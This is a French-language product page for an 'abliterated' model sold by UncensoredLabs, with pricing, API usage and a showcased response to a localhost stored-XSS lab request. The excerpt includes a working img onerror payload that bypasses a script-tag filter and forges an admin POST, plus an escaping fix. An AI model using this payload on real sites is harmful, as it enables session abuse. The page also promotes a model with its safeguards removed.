GLM-5.3 Abliterated

glm-5.3-abliterated

Choix cybersécurité

Disponible dans le chat du navigateur et via une API compatible OpenAI.

Ouvrir le chat Exemple d’API

Tarifs des tokens

Prix en USD par 1 million de tokens

Entrée / 1M: 1,400 $US
En cache / 1M: 0,400 $US
Sortie / 1M: 1,400 $US

Caractéristiques du modèle

Zhipu AI · ablitéré

Fenêtre de contexte: 1 000 000 tokens
Sortie maximale: 130 000 tokens
Capacités: Texte · Streaming · Appels d’outils

Performances mesurées

Tokens/s moyens: 151,1
TTFT estimé: 1,3 s
Indicateur de disponibilité: 100%

Mis à jour 01/11/2026 20:21:37 UTC · Réussite du fournisseur sur 24 h · Un tiret indique un manque de mesures récentes.

Découvrez la réponse du modèle

Réponse réelle à une question XSS persistante dans un laboratoire localhost. La question et la réponse sont en anglais. La sortie est du texte ; aucun exemple de code ne s’exécute ici.

GLM-5.3 Abliterated

Réponse enregistrée · 28 oct. 2026, 19:07 UTC

Vous

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

GLM-5.3 Abliterated

Extrait sélectionné de la réponse enregistrée. Certaines parties sont omises.

Repro:

node server.js &
curl -s -X POST http://localhost:3000/comment \
  --data-urlencode 'comment=<img src=x onerror="fetch(\"/admin/banner\",{method:\"POST\",headers:{\"Content-Type\":\"application/x-www-form-urlencoded\"},body:\"banner=OWNED+IN+THE+LAB\",credentials:\"include\"})">'
xdg-open http://localhost:3000/admin-view   # macOS: open ...
sleep 1
curl -s http://localhost:3000/ | grep -o 'Banner: [^<]*'

The browser visits /admin-view, gets fake admin=1, renders the stored comment, and the onerror handler POSTs same-origin to /admin/banner with the fake cookie. Expected output: Banner: OWNED IN THE LAB. Safe rendering fix: replace raw comment interpolation with ${esc(c)} in the comments map.

Exemple enregistré, pas un chat en direct.Ouvrir le chat

Utilisez ce modèle via l’API

Créez une clé API et ajoutez du crédit. Définissez UNCENSOREDLABS_API_KEY dans votre environnement. Installez le paquet openai pour JavaScript ou Python.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "glm-5.3-abliterated",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'

Compatible avec OpenAI. Modifiez votre URL de base.Lire le guide de démarrage rapide

Limites et facturation

L’absence de filtrage ne garantit pas une réponse à chaque question. Les réponses peuvent être incorrectes, incomplètes ou refusées.
La sortie maximale est la limite du service UncensoredLabs. Les longues générations et les charges à contexte complet n’ont pas été évaluées.
Les crédits sont réservés pour la sortie demandée et une borne d’entrée prudente ; le contexte complet est réservé sans comptabilité vérifiée selon la taille de la requête. Les frais finaux utilisent l’usage vérifié ; les requêtes incertaines peuvent conserver leur réserve.
Le délai est de dix minutes. Les limites de débit, de concurrence et la disponibilité du fournisseur s’appliquent ; les erreurs incluent 429 avec Retry-After.
UncensoredLabs ne stocke pas les questions ni les réponses sur ses serveurs. La politique de conservation du fournisseur d’inférence s’applique.

Erreurs et limites de débit Fonctionnement de la facturation Confidentialité